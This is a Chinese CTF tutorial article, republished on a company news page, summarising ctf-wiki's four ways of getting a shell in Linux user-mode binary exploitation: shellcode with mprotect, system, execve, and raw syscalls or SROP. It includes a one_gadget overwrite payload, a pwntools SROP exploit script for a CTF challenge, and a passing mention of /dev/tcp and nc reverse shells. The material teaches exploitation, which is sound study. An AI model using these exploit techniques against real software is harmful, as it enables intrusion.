ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

ctf-wiki Pwn 实战:Linux 用户态下获取 Shell 的四种方式全解析

ctf-wiki Pwn 实战:Linux 用户态下获取 Shell 的四种方式全解析 文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载本篇技术文章基于 ctf-wiki 的 Linux 用户态 Pwn「获取 Shell 小结」文档docs/zh/docs/pwn/linux/user-mode/summary/get-shell.md展开系统梳理 CTF 二进制漏洞利用中最终拿下 shell阶段的四类主流姿势shellcode、system 函数、execve 函数与 execve 系统调用。读完本文你将能针对不同程序保护配置NX、PIE、环境完整性选择合适的拿 shell 方案并理解每种方案的参数布置成本、环境变量风险与地址获取策略。总览获取到的 Shell 有两种形式在 Linux 用户态 Pwn 中我们最终获取到的 shell 一般有两种形式直接可交互的 shell利用脚本执行后直接进入/bin/sh与程序终端交互将 shell 绑定到指定 ip 的指定端口在远程题目中更常见利用bash -i /dev/tcp/ip/port 01或nc等手法将目标机 shell 反弹bind/reverse到攻击者监听的端口。二者的差别只在拿到 shell 之后的连接方式而拿到 shell 之前的核心问题是一致的如何把目标程序的执行流引导到一条能产生/bin/sh的路径上。下面依次介绍四种常见方式。方式一布置 shellcode在利用 shellcode 获取 shell 时基本要求就是我们能够将 shellcode 布置在可写可执行的内存区域中。因此在没有可写可执行的内存区域即 NX 保护开启的时候我们需要利用mprotect等函数设置相关内存的权限。从 ctf-wiki 的相关章节可以看到实际题目中无 RX 段是常态。例如在花式栈溢出技巧docs/zh/docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md讨论的 X-CTF Quals 2016 - b0verfl0w 一题中程序 checksec 结果同时满足NX disabled Has RWX segments此时可以直接在栈上布置 shellcode用jmp espgadget 跳转执行而当 NX 开启时就必须先通过 ROP 调用mprotect修改内存页权限再跳转执行。此外有时候 shellcode 中的字符必须满足某些要求比如只能是可打印字符、字母或数字常见于把 payload 塞进受过滤的输入框、JSON 字段或 URL 参数中。这要求我们在编写 shellcode 时对字节做约束过滤或者选择对字符集不敏感的方式如优先走 system/execve 路线。shellcode 路线的优点是不依赖 libc 符号地址缺点则是依赖可控可执行内存且在 NX 开启时需要先调用mprotect这本身就是一条 ROP 链成本与 execve 路线相当。方式二调用 system 函数最典型的用法是执行system(/bin/sh)、system(sh)等函数。这里我们主要需要找到两类地址具体获取思路可参考仓库中的获取地址小结 docs/zh/docs/pwn/linux/user-mode/summary/get-address.mdsystem 的地址通常在 libc 中需要已知 libc 版本与基地址即system_addr libc_base offset(system)/bin/sh、sh字符串的地址常见来源有三类检查 binary 里面是否自带该字符串用strings/grep在目标二进制或其数据段中查找考虑自行读取对应字符串到一块可控内存中例如用read把字符串写入栈/堆/bss再把该位置作为第一个参数libc 中其实是有/bin/sh的在对应的 libc 文件里搜索该字符串得到其相对 libc 基址的偏移再计算运行期地址。在 system 获取 shell 时一个非常好的优点在于我们只需要布置一个参数x86-64 下即rdi /bin/shROP 链最短、对可控内存空间的要求最低。缺点在于system 内部最终会走forkexecve去执行/bin/sh -c ...在布置参数时可能因为破坏了环境变量argv/envp 区域而导致子进程无法启动。环境变量区域紧邻栈上参数区一次越界的写入就可能让 shell 起来后立刻异常退出——这正是后文获取地址时特别提示往高地址连续读取可能覆盖环境变量、导致 shell 不能启动的原因。方式三调用 execve 函数直接执行execve(/bin/sh, NULL, NULL)。在利用execve获取 shell 时所需的前置工作与 system 路线一致同样需要execve的地址libc 偏移和/bin/sh字符串地址。但它具有一个显著优点——几乎不受环境变量的影响因为它不做 fork、不经过 shell 的-c解析路径直接把当前进程映像替换为/bin/sh缺点是需要布置三个参数x86-64 下为rdi /bin/sh、rsi 0、rdx 0对 ROP 链长度或寄存器布置的要求更高。补充one_gadget 捷径在 execve 路线下还有一个常用捷径glibc 中可以使用one_gadget来获取 shell。所谓 one_gadget是 libc 中某段固定代码只要调用它并满足其寄存器等前置条件如某个寄存器为 0、某段内存为 0 等就会直接触发execve(/bin/sh)类行为。ctf-wiki 堆利用章节docs/zh/docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md中给出了真实利用片段将malloc_hook覆写为 one_gadget 地址后触发一次malloc即可拿到 shellone_gadget_addr libc_base 0xf02a4 payload a * 0x13 p64(one_gadget_addr)原文特别提示这里可能需要多选择几个 one_gadget 地址因为 one_gadget 成功是有条件的——同一 libc 通常存在多个候选 gadget需要对照候选点的前置寄存器/内存约束逐一验证这与 system/execve 路线参数可控即稳定的特性形成对比。方式四直接发起 execve 系统调用不经过 libc 包装函数直接执行syscall指令发起系统调用。系统调用号__NR_execve在IA-32 中为 11x86-64 为 59即 x86-64 下rax 59rdi指向/bin/shrsi/rdx置 0然后执行syscall指令即可。它的优点在于几乎不受环境变量的影响与 execve 函数路线相同且不依赖 libc 基地址然而我们需要找到syscall之类的系统调用指令即程序或 libc 中现成的syscall指令地址并且还要能把调用号 5964 位准确放进rax。SROP伪造 Signal Frame 的拿 shell 范例找到 syscall 指令 控制寄存器这一难点在 SROPSigreturn Oriented Programming中有完整的实战答案。SROP 的核心是伪造一段位于用户地址空间的 Signal Frame执行 sigreturn 系统调用调用号 32 位为 119、64 位为 15后内核会按 Signal Frame 恢复全部寄存器等价于一次寄存器批量赋值随后让rip指向syscall; retgadget 即可触发真正的 execve。伪造 Signal Frame 的栈布局如下图所示ctf-wiki 在 docs/zh/docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md 中以 360 春秋杯 smallest-pwn64 位、静态链接、仅 NX 保护给出了完整利用流程其 pwntools 脚本的核心结构值得注意from pwn import * from LibcSearcher import * # ... 省略 leak 栈地址的步骤 ... sigframe SigreturnFrame() sigframe.rax constants.SYS_execve # rax 59 sigframe.rdi stack_addr 0x120 # /bin/sh 的地址 sigframe.rsi 0x0 sigframe.rdx 0x0 sigframe.rsp stack_addr sigframe.rip syscall_ret # syscall; ret gadget payload p64(start_addr) b * 8 str(sigframe) payload (0x120 - len(payload)) * \x00 /bin/sh\x00 sh.send(payload) sh.send(sigreturn) # 先让 rax15执行 sigreturn sh.interactive()这个例子恰好把 get-shell 小结中的关键点串了起来/bin/sh字符串是自行读取到栈上的syscall指令来自程序内的syscall; retgadget寄存器值通过 SigreturnFrame 批量布置——这正是syscall 路线在无 libc、无可用函数符号时的典型形态。此外该题还展示了如何间接控制rax利用read的返回值读取字节数来设置 sigreturn 调用号 15。SROP 路线需要满足的条件同样摘自 docs/zh/docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md可以通过栈溢出来控制栈的内容需要知道相应地址/bin/sh、Signal Frame、syscall、sigreturngadget需要有足够大的空间塞下整个 Signal Frame。四种方式对比小结方式需要布置的参数/内容是否依赖 libc 地址受环境变量影响关键前提shellcode一段 shellcodemprotect调用否基本不受影响可写可执行内存或可调用mprotectsystem1 个参数/bin/sh地址是system 地址会破坏 envp 可能起不来system 地址 字符串地址execve3 个参数是execve 地址几乎不受影响execve 地址 字符串地址execve 系统调用rax11/59 3 参数 syscall指令否几乎不受影响找到syscall指令或 SROP 框架四条路线的选择可以概括为有 RWX 段或能调mprotect→ shellcode 最省事能稳定泄露 libc 基址、且参数区离环境变量足够远 → system单参数链最短参数布置空间充足、不想承担环境变量风险 → execve 函数无 libc静态链接或 libc 不可得 → 裸系统调用配合syscallgadget / SROP / one_gadget针对有 libc 的 hook 覆写场景。附获取地址的一般策略get-shell 小结多次提到需要找到地址仓库中的配套文档 docs/zh/docs/pwn/linux/user-mode/summary/get-address.md 将获取地址的方法按成本递进分为四类直接寻找如未开 PIE 时代码段地址固定、泄漏GOT 表、/proc/self/maps、ret2dl-resolve 等、推测利用段内符号相对偏移固定如 glibc 后三位 ASLR 不随机、猜测32 位地址空间小可爆破。对本文四种拿 shell 方式而言system/execve 路线本质上都在解决system/execve 地址 /bin/sh 字符串地址这两个地址问题而 one_gadget 路线则把二者合并为libc 基址 gadget 偏移一个问题。参考资料获取 Shell 小结本文主体文档docs/zh/docs/pwn/linux/user-mode/summary/get-shell.md、docs/zh-tw/docs/pwn/linux/user-mode/summary/get-shell.md获取地址小结docs/zh/docs/pwn/linux/user-mode/summary/get-address.md控制流劫持小结docs/zh/docs/pwn/linux/user-mode/summary/hijack-control-flow.mdSROP 攻击原理与示例docs/zh/docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.mdone_gadget 实际用法fastbin attack 章节docs/zh/docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md花式栈溢出技巧shellcode stack pivoting 场景docs/zh/docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md赞分享文档网络安全教程【免费下载链接】ctf-wikiCome and join us, we need you!项目地址https://gitcode.com/gh_mirrors/ct/ctf-wiki点击查看免费下载相关推荐CTF Pwn 环境搭建完全指南基于 ctf-wiki 的 Linux 用户态做题环境部署实战CTF Pwn 环境搭建完全指南基于 ctf wiki 的 Linux 用户态做题环境部署实战 导读 本指南以 ctf wiki 仓库中的 Pwn 环境搭建文文档网络安全教程ctf-wiki 中的 Linux Pwn 地址获取技术直接获取、信息泄漏、偏移推测与暴力猜测的完整思路ctf wiki 中的 Linux Pwn 地址获取技术直接获取、信息泄漏、偏移推测与暴力猜测的完整思路 在 Linux 用户态 Pwn 中远程环境下 AS文档网络安全教程ctf-wiki 内核安全入门Linux Kernel Pwn 基础知识全景特权级、系统调用、权限管理与防护机制ctf wiki 内核安全入门Linux Kernel Pwn 基础知识全景特权级、系统调用、权限管理与防护机制 本文是 ctf wiki 仓库 内核模式文档网络安全教程上一篇深入理解Hono OpenAPI中间件从validator到describeRoute的使用详解下一篇SurveyKing 终极指南如何打造专业级开源问卷调查系统创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表